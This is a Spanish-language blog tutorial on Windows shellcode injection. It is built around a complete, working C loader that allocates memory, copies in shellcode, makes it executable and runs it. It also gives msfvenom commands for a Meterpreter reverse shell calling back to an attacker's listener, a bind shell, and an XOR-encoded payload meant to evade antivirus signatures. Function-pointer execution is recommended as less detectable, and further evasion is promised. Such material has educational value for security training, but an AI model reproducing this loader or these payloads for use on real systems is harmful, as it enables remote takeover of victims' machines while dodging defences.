Volver al blog

Inyección de Shellcode en Windows: Guía Práctica Paso a Paso

La inyección de shellcode es una de las técnicas fundamentales en investigación de seguridad y desarrollo de malware. Esta guía te proporcionará tanto el conocimiento teórico como las habilidades prácticas necesarias para dominar esta técnica.

David Herrera
David Herrera Shac0x
25 min
Inyección de Shellcode en Windows: Guía Práctica Paso a Paso

Inyección de Shellcode en Windows

La inyección de shellcode es una de las técnicas fundamentales en investigación de seguridad y desarrollo de malware. Esta guía te proporcionará tanto el conocimiento teórico como las habilidades prácticas necesarias para dominar esta técnica.

En este post crearemos un programa funcional en C que ejecuta shellcode en memoria de forma segura y controlada. Aprenderás exactamente cómo Windows maneja la memoria, cómo manipularla de forma segura y cómo ejecutar código arbitrario. Al final, no solo sabrás el “qué”, sino el “cómo” y el “por qué”.

Requisitos previos

  • Conocimiento básico de C/C++ (no necesitas ser experto)
  • Comprensión fundamental de arquitectura x64
  • Entorno Windows (Windows 10/11 o máquina virtual)
  • Visual Studio o MinGW para compilación
  • Kali Linux con msfvenom (opcional, pero recomendado)

¿Qué es una Shellcode? Definición Técnica

Una shellcode es un fragmento compacto de código máquina, típicamente escrito en lenguaje ensamblador x86/x64, diseñado para ejecutarse como carga útil en exploits, inyecciones de código o malware.

¿Sabías que?

El término “shellcode” proviene originalmente de la intención de abrirse una shell de comandos, pero en la actualidad se usa para cualquier código inyectado que realice acciones específicas en un sistema comprometido.

Windows APIs Esenciales para Inyección de Código

Para inyectar y ejecutar shellcode en Windows, necesitamos dominar tres Windows APIs críticas que actúan en conjunto para manipular la memoria del proceso:

1. VirtualAlloc: Reservando Espacio de Memoria

Documentación oficial: Microsoft Learn - VirtualAlloc

VirtualAlloc es la función base para cualquier operación de inyección de código en Windows. Reserva o asigna memoria en el espacio de direcciones virtuales del proceso actual.

Firma de la función:

LPVOID VirtualAlloc(
  LPVOID lpAddress,      // Dirección deseada (NULL = automático)
  SIZE_T dwSize,         // Tamaño en bytes
  DWORD  flAllocationType, // Tipo de asignación
  DWORD  flProtect       // Protección inicial
);

Parámetros detallados:

  • lpAddress: Dirección inicial donde asignar memoria. Normalmente NULL para dejar que Windows decida automáticamente
  • dwSize: Tamaño en bytes. Debe ser múltiplo del tamaño de página (4096 bytes en x64)
  • flAllocationType: Controla cómo se asigna la memoria:
    • MEM_COMMIT: Asigna memoria física real
    • MEM_RESERVE: Solo reserva rango de direcciones (sin memoria física)
    • MEM_COMMIT | MEM_RESERVE: Combinación (recomendada) para garantizar disponibilidad inmediata
  • flProtect: Protección inicial de la página:
    • PAGE_READWRITE: Lectura/escritura (usado para escribir shellcode)
    • PAGE_EXECUTE_READ: Ejecución/lectura (usado después de escribir)
    • PAGE_EXECUTE_READWRITE: Ejecución/lectura/escritura (evitar por seguridad)

Valor de retorno: Dirección de la memoria asignada o NULL si falla

¿Por qué lo vamos a usar para inyectar una shellcode?:

Cuando hablamos de inyección de shellcode, VirtualAlloc juega un papel crucial. Esta función reserva un bloque de memoria limpio donde inyectaremos nuestro payload, y lo mejor es que te permite especificar exactamente qué permisos quieres desde el inicio (inicialmente PAGE_READWRITE para poder escribir el código). Una vez que la función termina, te devuelve la dirección exacta donde escribirás tu shellcode, por lo que sabes exactamente dónde trabajar.

2. VirtualProtect: Cambiando Permisos de Ejecución

Documentación oficial: Microsoft Learn - VirtualProtect

VirtualProtect modifica los permisos de una región de memoria ya asignada. Es crucial para convertir memoria de lectura/escritura en memoria ejecutable.

Firma de la función:

BOOL VirtualProtect(
  LPVOID lpAddress,          // Dirección de memoria
  SIZE_T dwSize,             // Tamaño
  DWORD  flNewProtect,       // Nuevos permisos
  PDWORD lpflOldProtect      // Parámetro de retorno
);

Parámetros detallados:

  • lpAddress: Dirección de inicio de la región a cambiar
  • dwSize: Número de bytes a cambiar
  • flNewProtect: Nuevos permisos (típicamente PAGE_EXECUTE_READ)
  • lpflOldProtect: Puntero a variable DWORD que recibe los permisos anteriores (importante para restaurar)

Valor de retorno: TRUE si tiene éxito, FALSE si falla

3. CreateThread: Ejecutando el Código Inyectado

Documentación oficial: Microsoft Learn - CreateThread

CreateThread crea un nuevo hilo dentro del proceso actual que comienza a ejecutar en una dirección de memoria especificada.

Firma de la función:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes, // NULL normalmente
  SIZE_T                  dwStackSize,        // 0 = tamaño por defecto
  LPTHREAD_START_ROUTINE  lpStartAddress,    // Dirección a ejecutar
  LPVOID                  lpParameter,       // Parámetro para función
  DWORD                   dwCreationFlags,   // 0 = ejecutar inmediatamente
  LPDWORD                 lpThreadId         // ID del hilo (NULL válido)
);

Ventajas de usar CreateThread:

  • Aísla la ejecución en un hilo separado
  • No interrumpe el flujo del programa principal
  • Permite esperar a que termine la ejecución con WaitForSingleObject
  • Más visible en monitoreo (algunos AVs detectan esto)

Alternativa: Puntero de función (menos detectable)

(*(VOID(*)()) shellcodeAddr)();

El flujo completo: cómo trabajan juntas las tres APIs

Ahora que hemos entendido cada API individualmente, es importante ver cómo trabajan en conjunto. La forma en que estas tres APIs se coordinan es elegante y sencilla.

Primero, utilizamos VirtualAlloc para reservar un bloque de memoria limpio en el espacio de direcciones del proceso, estableciendo permisos iniciales de PAGE_READWRITE para poder escribir el código. Una vez que hemos copiado el shellcode en esa ubicación, llamamos a VirtualProtect para cambiar esos permisos a PAGE_EXECUTE_READ, permitiendo que la CPU pueda leer y ejecutar el código sin poder modificarlo. Finalmente, utilizamos CreateThread para crear un nuevo hilo que comience a ejecutar desde la dirección donde colocamos nuestro shellcode.

Generando tu Primera Shellcode con Msfvenom

Ahora que entiendes cómo funcionan las APIs de Windows y cómo trabajan juntas para ejecutar código, es momento de crear el payload que inyectaremos. Aquí es donde entra en juego msfvenom, una herramienta poderosa que genera automáticamente el shellcode que necesitamos.

En lugar de escribir manualmente código en ensamblador (lo cual veremos en próximos posts), msfvenom genera el código máquina compilado listo para inyectar. Esta herramienta es estándar en el ámbito de la seguridad ofensiva y te permite crear payloads personalizados en cuestión de segundos.

Requisitos

  • Kali Linux o cualquier distribución con Metasploit Framework instalado
  • msfvenom (incluido por defecto en Kali)

Generando shellcode x64 para ejecutar calc.exe

La siguiente línea genera un payload que ejecuta la calculadora de Windows:

msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe -f c

Desglose de parámetros:

  • -platform windows: Especifica que es para Windows
  • -arch x64: Arquitectura de 64 bits (x86-64)
  • p windows/x64/exec: Payload que ejecuta comandos
  • CMD=calc.exe: El comando a ejecutar
  • f c: Formato de salida C (array de bytes)

Salida esperada

El comando generará algo como:

msfvenom-shellcode.webp

Este es un array de bytes que contiene el código máquina que ejecutará nuestro comando.

Comandos alternativos útiles

La belleza de msfvenom es su flexibilidad. Aunque hemos visto cómo generar un payload simple que ejecuta calc.exe, la herramienta puede crear mucho más. Aquí te mostramos algunos comandos útiles para diferentes escenarios comunes en pentest e investigación de seguridad.

Reverse shell TCP:

msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f c

Bind shell (escucha en puerto):

msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/bind_tcp \
  LPORT=4444 -f c

Payload con codificación (evitar firmas):

msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe \
  -e x64/xor -f c -i 3

Implementación práctica: Manos a la obra

Ya hemos cubierto toda la teoría: entiendes cómo funcionan las APIs de Windows, cómo se coordinan entre sí, y cómo generar payloads con msfvenom. Ahora es momento de poner todo esto en práctica y crear un programa funcional.

Comenzaremos con el primer paso fundamental: reservar memoria limpia donde inyectaremos nuestro shellcode usando VirtualAlloc.

Reservando memoria

Empecemos con lo más simple: calcular cuánto espacio necesitamos y decirle a Windows que nos reserve un bloque de memoria limpio. Para esto usamos VirtualAlloc, que es exactamente lo que necesitamos en este momento.

size_t shellcode_size = sizeof(buf);

PVOID shellcodeAddr = VirtualAlloc(
    NULL,                      // Windows elige la dirección
    shellcode_size,            // Número de bytes a reservar
    MEM_COMMIT | MEM_RESERVE,  // Ambas flags combinadas
    PAGE_READWRITE             // Permisos iniciales
);

if (shellcodeAddr == NULL) {
    printf("Error: VirtualAlloc falló (%lu)\n", GetLastError());
    return 1;
}

Puntos clave:

  • sizeof(buf) obtiene automáticamente el tamaño exacto del array en bytes
  • MEM_COMMIT | MEM_RESERVE garantiza disponibilidad inmediata
  • PAGE_READWRITE permite escribir el shellcode inicialmente
  • Siempre verificar que VirtualAlloc devuelva una dirección válida

Cambiando Permisos de Memoria con VirtualProtect

Ya tenemos el shellcode en memoria, pero todavía no puede ejecutarse. Windows protege la memoria por defecto, así que necesitamos cambiar los permisos para que la CPU pueda realmente ejecutar el código. Para esto usamos VirtualProtect.

Copiando y protegiendo

// Copiar shellcode a memoria
memcpy(shellcodeAddr, buf, shellcode_size);

// Cambiar permisos a ejecutable
DWORD oldProtect = 0;
BOOL result = VirtualProtect(
    shellcodeAddr,          // Dirección a cambiar
    shellcode_size,         // Tamaño
    PAGE_EXECUTE_READ,      // Nuevos permisos
    &oldProtect             // Guardar permisos anteriores
);

if (!result) {
    printf("Error: VirtualProtect falló (%lu)\n", GetLastError());
    VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
    return 1;
}

Proceso paso a paso:

  1. memcpy copia bytes del array al heap
  2. VirtualProtect cambia permisos a PAGE_EXECUTE_READ
  3. Ahora la CPU puede ejecutar el código

Ejecutando la Shellcode con CreateThread

Llegamos al momento de la verdad: ahora vamos a ejecutar realmente el shellcode. La forma más común y segura de hacerlo es crear un nuevo hilo dentro de nuestro proceso que comience a ejecutarse en la dirección donde colocamos el código. Para esto usamos CreateThread.

Método 1: Usando CreateThread

HANDLE hThread = CreateThread(
    NULL,                                  // Atributos por defecto
    0,                                     // Stack size por defecto
    (LPTHREAD_START_ROUTINE)shellcodeAddr, // Dirección del shellcode
    NULL,                                  // Sin parámetros
    0,                                     // Ejecutar inmediatamente
    NULL                                   // Sin ID
);

if (hThread != NULL) {
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
} else {
    printf("Error: CreateThread falló (%lu)\n", GetLastError());
    VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
    return 1;
}

Ventajas:

  • ✅ Aísla la ejecución en un hilo separado
  • ✅ Más seguro (no bloquea el thread principal)
  • ❌ Más visible para EDR/AV

Método Alternativo: Puntero de Función (Menos Detectable)

Una técnica alternativa más sencilla es usar un puntero de función. Este método es menos visible para antivirus que monitorean CreateThread.

Usando puntero de función

// Typedef para mayor legibilidad
typedef VOID (*ShellcodeFunc)();

ShellcodeFunc pShellcode = (ShellcodeFunc)shellcodeAddr;
pShellcode();  // Ejecutar

Ventajas y desventajas:

Función de puntero:

  • ✅ Menos visible para monitoreo estándar
  • ✅ Código más compacto
  • ❌ Bloquea el thread principal
  • ❌ Si el shellcode no retorna, el programa cuelga

Código Completo y Demostración

Versión completa funcional

#include <windows.h>
#include <stdio.h>
#include <string.h>

typedef VOID(*ShellcodeFunc)();

int main() {
    unsigned char buf[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
        // [... aquí tu shellcode ]
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

    size_t shellcode_size = sizeof(buf);
    printf("[*] Tamaño: %zu bytes\n\n", shellcode_size);

    // PASO 1: Reservar memoria
    PVOID shellcodeAddr = VirtualAlloc(
        NULL, shellcode_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );
    if (!shellcodeAddr) {
        printf("[!] VirtualAlloc falló\n");
        return 1;
    }
    printf("[+] Memoria en: 0x%p\n", shellcodeAddr);
    getchar();

    // PASO 2: Copiar shellcode
    memcpy(shellcodeAddr, buf, shellcode_size);
    printf("[+] Shellcode copiado\n");
    getchar();

    // PASO 3: Cambiar permisos
    DWORD oldProtect = 0;
    if (!VirtualProtect(shellcodeAddr, shellcode_size,
        PAGE_EXECUTE_READ, &oldProtect)) {
        printf("[!] VirtualProtect falló\n");
        VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
        return 1;
    }
    printf("[+] Permisos cambiados\n");
    getchar();

    // PASO 4: Ejecutar
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddr, NULL, 0, NULL);
    getchar();
    if (hThread != NULL) {
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }
    else {
        printf("Error: CreateThread falló (%lu)\n", GetLastError());
        VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
        return 1;
    }
}

Compilación y ejecución

Compilar:

# MinGW
gcc -o shellcode_demo.exe main.c -lkernel32

# Visual Studio
cl main.c kernel32.lib

Demo:

shellcode-demo.gif

Subiendo a VirusTotal: Entendiendo las Detecciones

Ahora que tenemos nuestro binario compilado, es momento de hacer una prueba importante: subir el ejecutable a VirusTotal para ver cómo los antivirus lo detectan.

¿Por qué se detecta?

Es completamente normal que nuestro shellcode injector sea detectado por múltiples antivirus. Esto ocurre porque:

  • No tiene ofuscación: El código es directo y fácil de analizar
  • Usa APIs detectables: VirtualAlloc, VirtualProtect y CreateThread son patrones comunes en malware
  • Sin encriptación: El shellcode está en texto plano
  • Sin anti-análisis: No tenemos protecciones contra debuggers o análisis dinámicos

Resultado esperado en VirusTotal

Al subir el binario a VirusTotal, verás algo como esto:

Virustotal

Multiples motores de análisis lo detectarán como potencial shellcode injector o malware genérico. Esto es esperado y demuestra que nuestro código funciona, pero también que necesita protecciones.

En proximos posts veremos como proteger y modificar nuestro binario para que sea mas dificil de detectar.

Lo que hemos aprendido

En este tutorial completo sobre inyección de shellcode, hemos cubierto:

  1. Fundamentos teóricos: Qué es shellcode y por qué es importante
  2. Windows APIs críticas: VirtualAlloc, VirtualProtect y CreateThread
  3. Generación de payloads: Cómo usar msfvenom para crear shellcode
  4. Implementación práctica: Código funcional step-by-step
  5. Métodos de ejecución: CreateThread vs puntero de función

Reflexión sobre lo aprendido

A lo largo de este viaje, hemos descubierto que la inyección de shellcode no es magia, sino un proceso lógico y bien definido. Hemos visto cómo tres APIs simples de Windows pueden coordinarse para realizar tareas poderosas.

Lo más importante es que ahora entiendes no solo el “qué” (cómo inyectar shellcode), sino el “por qué” detrás de cada paso.

Recuerda que este conocimiento conlleva responsabilidad: úsalo siempre en contextos autorizados y de forma ética.

Compartir este artículo

Sobre el autor

Pentester specializing in penetration testing, vulnerability identification, and securing systems against advanced threats.

📍 España
Ver perfil en GitHub

Artículos relacionados

Enlace copiado
Enlace copiado al portapapeles